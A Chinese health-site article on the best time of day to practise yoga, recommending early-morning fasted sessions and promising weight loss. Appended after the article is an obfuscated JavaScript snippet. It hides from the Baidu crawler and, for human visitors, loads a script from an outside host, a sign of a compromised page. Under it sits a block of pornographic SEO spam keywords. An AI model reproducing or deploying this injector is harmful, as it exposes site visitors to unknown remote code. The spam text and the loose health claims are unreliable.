當前位置:首頁 > 健康 > 運動健身 > 正文

練瑜伽什么時候最好呢

2017-04-16 10:07:00  來源:360常識網   熱度:
導語:在練瑜伽的時候到底在什么時候練習才是最好的呢?練習瑜伽的時候要注意勞逸結合,這個是很多人多知道,但是瑜伽什么時候鍛煉效果最佳的話很

在練瑜伽的時候到底在什么時候練習才是最好的呢?練習瑜伽的時候要注意勞逸結合,這個是很多人多知道,但是瑜伽什么時候鍛煉效果最佳的話很少人會知道,瑜伽每個時間段練習所得到的效果是不同的,在飯后練習瑜伽的話很多人會覺得肚子痛,這個時間點就是不對的,而飯后練習瑜伽要飯后半個小時,那么在練習瑜伽的時候到底在什么時候最好呢?

清晨空腹是練習瑜伽的最佳時間:最好是在早上8點之前進行練習。因為清晨空腹練習瑜伽耗損的能質來自于脂肪,而不是肌肉,經過一晚的休息和凈化,已清除完腸道和膀胱的廢物,此刻大自然聚集的能量最多,也是一天之中最安靜的時刻,我們的精神是清醒而未被打擾,能集中在練習上。此時你最有可能深刻體會身體、心理和精神的聯系與協調,以及瑜伽作為一項“身心靈的藝術”的魅力,在一天天的積累中,你會很快體會到自己的進步。這種規律的練習能讓你從雜亂無序的生活狀態中解脫出來,養成按時作息的良好生活習慣。身心的健康狀況由此改善,只要每天堅持練習也能達到減肥瘦身的效果哦!而且清晨練瑜伽還可以提高一天的新陳代謝率。

清晨空腹一般練習30分鐘左右即可,也要根據每一位練習者的身體情況來定,像初期練習的朋友可以是幾分鐘或是幾十分鐘,隨著練習時間和練習次數的增加,可以適當增加練習時間,但這并不是規定瑜伽練習時間越長越好,要聽憑身體的感受,由身體的反應來確定練習時間。

更為具體的練習時間建議:早晨在太陽出來以前要進行練習,中午在太陽到頭頂時進行練習,晚上在日落以后練習,凌晨在入夜12點時練習。不同時間要練習不同的內容,例如早晨多練習體位法,中午、晚上多練習冥想等等。練習瑜伽時,身體保持正常和安靜狀態,如果此時身體有不適的地方或是生病盡量不要練習,絕不可以超出身體的能力。當然,這些只是作為建議,也可以根據你自己的情況彈性地調整練習時間,不過盡量選擇不受干擾的時段,避免因外界的擾亂而無法專心練習。練習瑜伽后,你會發現生活會變得健康充實,而這些良好的感覺會加強你堅持練習的決心和信心。

最后需要提醒各位MM注意的是:爭取每天在同一時間段進行練習,地點沒有嚴格的限制,但盡量選擇在通風,空氣新鮮并且安靜的地方,在家里開著窗戶練習也是可以的,練習時最好在地板上鋪張半厘米厚整潔的地毯。只要堅持連續10天在最佳時間里練減肥瑜伽,相信很快就可以見到效果了。

在練習瑜伽的時候如果自己不知道到底該在什么時候練習的話,那么可以看看自己的身體狀況,如果感覺自己吃太多飯了,那么在消化不是很好的情況下就可以馬上練習練習瑜伽來幫助自己腸胃消化,從而就會有減肥的效果,但是飯后不能馬上鍛煉,避免造成腸胃不適,在入睡之前也可以鍛煉一下來幫助睡眠和減肥。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品久久精品| 欧洲精品码一区二区三区免费看| 国产精品女主播自在线拍| 国产精品亚洲片夜色在线| 国产精品视频久久久| 精品无人乱码一区二区三区 | 91精品最新国内在线播放| 亚洲精品卡2卡3卡4卡5卡区| 久久亚洲精品中文字幕三区| 一区二区三区四区精品视频| 精品国产乱码一区二区三区| 亚洲性色精品一区二区在线| 国产精品久久久久久久久齐齐| 亚洲精品无码AV中文字幕电影网站| 99热精品在线观看| 久久久精品2019中文字幕之3| 91精品国产91久久久久久| 国产精品美女午夜爽爽爽免费| 国产av一区二区精品久久凹凸| 久久久久99精品成人片牛牛影视| 国产精品成熟老女人视频| 精品国产乱码久久久久久呢| 热99re久久精品精品免费| 国产乱码伦精品一区二区三区麻豆 | 91精品国产综合久久久久| 91麻豆国产精品91久久久| 国产一区二区三区日韩精品| 2022国产精品自在线拍国产| 999精品视频在线观看热6| 亚洲AV永久无码精品一福利| 精品特级一级毛片免费观看| 国内精品久久久久影院日本| 91精品福利视频| 成人国产精品视频频| 国产在线观看一区二区三区精品| 久久久久无码精品国产| 糖心vlog精品一区二区三区| 精品国产黑色丝袜高跟鞋| 热re99久久精品国99热| 精品久久久无码中文字幕边打电话 | 国产精品高清一区二区人妖|